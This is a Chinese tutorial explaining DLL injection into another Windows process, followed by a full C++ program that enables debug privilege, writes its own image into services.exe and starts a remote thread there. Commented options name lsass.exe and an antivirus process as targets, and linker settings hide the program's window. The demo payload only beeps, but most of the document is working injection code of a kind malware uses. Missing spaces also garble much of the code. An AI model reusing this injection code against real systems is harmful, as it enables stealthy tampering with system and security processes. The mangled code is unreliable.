所谓DLL注入就是将一个DLL放进某个进程的地址空间里,让它成为那个进程的一部分。要实现DLL注入,首先需要打开目标进程。
hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|//允许远程创建线程
PROCESS_VM_OPERATION|//允许远程VM操作
PROCESS_VM_WRITE,//允许远程VM写
FALSE,dwRemoteProcessId)
由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。
如果进程打不开,以后的操作就别想了。进程打开后,就可以建立远线程了,不过别急,先想想这个远线程的线程函数是什么?我们的目的是注入一个DLL。而且我们知道用LoadLibrary可以加载一个DLL到本进程的地址空间。于是,自然会想到如果可以在目标进程中调用LoadLibrary,不就可以把DLL加载到目标进程的地址空间了吗?对!就是这样。远线程就在这儿用了一次,建立的远线程的线程函数就是LoadLibrary,而参数就是要注入的DLL的文件名。(这里需要自己想一想,注意到了吗,线程函数ThreadProc和LoadLibrary函数非常相似,返回值,参数个数都一样)还有一个问题,LoadLibrary这个函数的地址在哪儿?也许你会说,这个简单,GetProcAddress就可以得出。于是代码就出来了。
char*pszLibFileRemote="my.dll";
PTHREAD_START_ROUTINEpfnStartAddr=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"),"LoadLibraryA");
CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAddr,pszLibFileRemote,0,NULL);
但是不对!不要忘了,这是远线程,不是在你的进程里,而pszLibFileRemote指向的是你的进程里的数据,到了目标进程,这个指针都不知道指向哪儿去了,同样pfnStartAddr这个地址上的代码到了目标进程里也不知道是什么了,不知道是不是你想要的LoadLibraryA了。但是,问题总是可以解决的,Windows有些很强大的API函数,他们可以在目标进程里分配内存,可以将你的进程中的数据拷贝到目标进程中。因此pszLibFileRemote的问题可以解决了。
char*pszLibFileName="my.dll";//注意,这个一定要是全路径文件名,除非它在系统目录里;原因大家自己想想。
//计算DLL路径名需要的内存空间
intcb=(1+lstrlenA(pszLibFileName))*sizeof(char);
//使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区
pszLibFileRemote=(char*)VirtualAllocEx(hRemoteProcess,NULL,cb,MEM_COMMIT,PAGE_READWRITE);
//使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
iReturnCode=WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(PVOID)pszLibFileName,cb,NULL);
OK,现在目标进程也认识pszLibFileRemote了,但是pfnStartAddr好像不好办,我怎么可能知道LoadLibraryA在目标进程中的地址呢?其实Windows为我们解决了这个问题,LoadLibraryA这个函数是在Kernel32.dll这个核心DLL里的,而这个DLL很特殊,不管对于哪个进程,Windows总是把它加载到相同的地址上去。因此你的进程中LoadLibraryA的地址和目标进程中LoadLibraryA的地址是相同的(其实,这个DLL里的所有函数都是如此)。至此,DLL注入结束了。
[cpp]
/*
远程注入explorer.exe,不停Beep,注入完就退出。
*/
#include<windows.h>
#include<stdio.h>
#include<tlhelp32.h>
#include<Shlwapi.h>
#include<tchar.h>
#pragmacomment(lib,"Shlwapi.lib")
#pragmacomment(linker,"/BASE:0x14000000")
//#defineNoWindow
#ifdefNoWindow
#pragmacomment(linker,"/subsystem:windows/FILEALIGN:0x200/ENTRY:main")
#pragmacomment(linker,"/INCREMENTAL:NO/IGNORE:4078")
#pragmacomment(linker,"/MERGE:.idata=.text/MERGE:.data=.text/MERGE:.rdata=.text/MERGE:.text=Anskya/SECTION:Anskya,EWR")
#endif
typedefint(__stdcall*fnMessageBoxA)(HWND,LPCSTR,LPCSTR,UINT);
typedefint(__stdcall*fnBeep)(int,int);
#defineProcessName"services.exe"//"rundll32.exe"//"svchost.exe"//"explorer.exe"//"avp.exe"//"lsass.exe"//
//
//根据进程名,获得进程ID
DWORDGetProcessID(char*FileName)
{
HANDLEhProcess;
PROCESSENTRY32pe;
BOOLbRet;
//进行进程快照
hProcess=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
//开始进程查找
bRet=::Process32First(hProcess,&pe);
//循环比较,得出ProcessID
while(bRet)
{
if(strcmp(FileName,pe.szExeFile)==0)
returnpe.th32ProcessID;
else
bRet=::Process32Next(hProcess,&pe);
}
//返回得到的ProcessID
//printf("Processnotfound!\n");
return9999;
}
//
//远程注入函数www.2cto.com
void__stdcallRmoteThread()
{
HMODULEhMod,hMod2;
fnMessageBoxAmyMessageBoxA;
fnBeepmyBeep;
char*path[MAX_PATH];
hMod=GetModuleHandle("user32.dll");
hMod2=GetModuleHandle("kernel32.dll");
myMessageBoxA=(fnMessageBoxA)GetProcAddress(hMod,(LPCSTR)"MessageBoxA");
myBeep=(fnBeep)GetProcAddress(hMod2,(LPCSTR)"Beep");
/*for(inti=0;i<30;i++)
{
myBeep(800,400);
}
*/
//while(1)
for(inti=0;i<6;i++)
{
Beep(600,100);
Sleep(200);
}
GetModuleFileName(NULL,(char*)path,MAX_PATH);
//myMessageBoxA(NULL,(char*)path,NULL,64);
}
//
//提升应用级调试权限
BOOLEnablePrivilege(HANDLEhToken,LPCTSTRszPrivName,BOOLfEnable)
{
TOKEN_PRIVILEGEStp;
tp.PrivilegeCount=1;
LookupPrivilegeValue(NULL,szPrivName,&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes=fEnable?SE_PRIVILEGE_ENABLED:0;
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
return((GetLastError()==ERROR_SUCCESS));
}
//
///说明:插入代码,远程线程为RmoteThread()
///参数:Pid=进程PID
///返回:成功True,否则False
boolInjectExe(DWORDPid)
{
boolstatus=false;
LPVOIDpBaseAddr=NULL;
HMODULEhMod=GetModuleHandle(NULL);
LONGhNHOffset=PIMAGE_DOS_HEADER(hMod)->e_lfanew;
HANDLEhThread,
hProcess,
hToken;
DWORDcbImage;
//cbImage=内存中整个PE映像体的尺寸
cbImage=PIMAGE_NT_HEADERS((DWORD)hMod+(DWORD)hNHOffset)->OptionalHeader.SizeOfImage;
//重要,否则不能注入lsass
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);
EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);
hProcess=OpenProcess(PROCESS_ALL_ACCESS,TRUE,Pid);
if(hProcess==NULL)
{
#ifdefdebug
MessageBoxA(NULL,"错误OpenProcess",NULL,64);
#endif
gotoErr;
}
//释放远程内存
VirtualFreeEx(hProcess,LPVOID(hMod),0,MEM_RELEASE);
//分配远程内存
pBaseAddr=VirtualAllocEx(hProcess,LPVOID(hMod),cbImage,MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if(pBaseAddr==NULL)
{
#ifdefdebug
MessageBoxA(NULL,"VirtualAllocExfailed",NULL,64);
#endif
gotoErr;
}
//写进去,将本进程的整个PE体全写进目标进程,够狠~
if(!WriteProcessMemory(hProcess,pBaseAddr,LPVOID(hMod),cbImage,NULL))
{
#ifdefdebug
MessageBoxA(NULL,"WriteProcessMemoryfailed",NULL,64);
#endif
gotoErr;
}
hThread=CreateRemoteThread(hProcess,NULL,NULL,\
(LPTHREAD_START_ROUTINE)&RmoteThread,NULL,NULL,NULL);
if(hThread==NULL)
{
#ifdefdebug
MessageBoxA(NULL,"CreateRemoteThreadfailed",NULL,64);
#endif
gotoErr;
}
//WaitForSingleObject(hThread,INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
status=TRUE;
returnstatus;//自己返回就行,不要VirtualFreeEx;,否则宿主就挂了!
Err:
if(pBaseAddr!=NULL)
VirtualFreeEx(hProcess,pBaseAddr,0,MEM_RELEASE);
if(hProcess!=NULL)
CloseHandle(hProcess);
returnstatus;
}
//
intmain()
{
charaa[]="aBcDdddFFFFasfd";
strupr((char*)aa);
printf(aa);
if(!InjectExe(GetProcessID(ProcessName)))
Beep(1800,500);
return0;
}